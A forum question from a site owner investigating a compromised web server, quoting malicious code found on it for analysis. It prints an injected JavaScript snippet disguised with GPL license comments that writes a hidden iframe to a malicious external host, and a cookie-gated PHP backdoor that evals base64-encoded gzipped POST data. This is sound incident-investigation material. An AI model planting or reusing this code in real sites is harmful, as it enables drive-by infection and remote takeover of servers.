-------- EDIT ---------
I do not agree that this is a duplicate of the linked question. I know that the correct way to deal with this is to wipe and reinstall the server. However, i am interested in the inner workings of this specific exploit and still happy if someone can help me out with some tips.
i'm trying to find out how a trojan made it onto my server, with no success so far and what exactly it is trying to achieve. I tried several malware scanners and antivirus solutions to get some details on this thing and they all were unable to detect something. However many js files on my server got modified and injected with following snippet:
/*
Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/
*/
function getCookie(name) {
/*
Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the original
licensor to copy, distribute or modify the Program subject to these
terms and conditions. You may not impose any further restrictions on the
recipients' exercise of the rights granted herein.
*/
var resizegood = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
));
return resizegood ? decodeURIComponent(resizegood[1]) : undefined;
}
function Lightebrothermind() {
var Litresbool = navigator.userAgent;
var Smiledbob = (Litresbool.indexOf("IEMobile") > -1 || Litresbool.indexOf("Chrome") > -1 || Litresbool.indexOf("Windows NT 6.3") > -1 || Litresbool.indexOf("Windows") < +1);
var assa_a = (getCookie("ultras17broser") === undefined);
/*The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.*/
if (!Smiledbob && assa_a) {
document.write('<iframe src="http://bablastules.vila.com.ar/htrsjdrjfgerhrdtjytd16.html" width="200" height="200" style="top: -901px;background-color: rgb(255,0,255);position: absolute;text-align: left;font-family: "Times New Roman", Georgia, Serif;left: -901px;height: 100px;width: 100px;"></iframe>');
var date = new Date( new Date().getTime() + 65*60*60*1000 );
document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString();
/*
Each version is given a distinguishing version number. If the Program
specifies a version number of the license which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
the license, you may choose any version ever published by the Free Software
Foundation.
*/
}
}
Lightebrothermind();
/*
Copyright (C) 2000 Free Software Foundation, Inc. See LICENSE.txt
I put an audit on one of the modified js files and this is the result:
type=PATH msg=audit(1410282146.532:1496): item=0 name="/PATH/TO/myfile.js" inode=1628304 dev=fd:00 mode=0100664 ouid=10007 ogid=2001 rdev=00:00
type=CWD msg=audit(1410282146.532:1496): cwd="/PATH/TO/"
type=SYSCALL msg=audit(1410282146.532:1496): arch=c000003e syscall=2 success=yes exit=60 a0=7fcf4646ca88 a1=241 a2=1b6 a3=692f736a2f756162 items=1 ppid=26429 pid=26769 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="apache2" exe="/usr/lib/apache2/mpm-prefork/apache2" key=(null)
When i switch to the folder that according to the audit contains the modifying file, i find a php file with what seems like a randomly generated filename and following content:
<?php
if(!empty($_COOKIE['__mestore']) and substr($_COOKIE['__mestore'],0,16)=='3469825000034634'){if (!empty($_POST['message']) and $message=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['message']))))){echo '<textarea id=areatext>';eval($message);echo '</textarea>bg';exit;}} exit;
which looks like a backdoor to me. The weird thing though is, that the file is not executable (664) and when i modify it to write the injected code to a textfile, nothing happens.
So where do i start to solve this? I'm really happy for any input as i'm really starting to pull my hair out.
Oh when i search in files for the code, i find a lot of similar files, spreaded all over the webfolders on my server. When i turn apache off, the modifying of files stops. I suspect that the Trojan made it into our server via a Wordpress Plugin, which supposedly had a vulnerability that exposed a loophole for attackers.
Thank you so much, i will happily provide any further info needed.
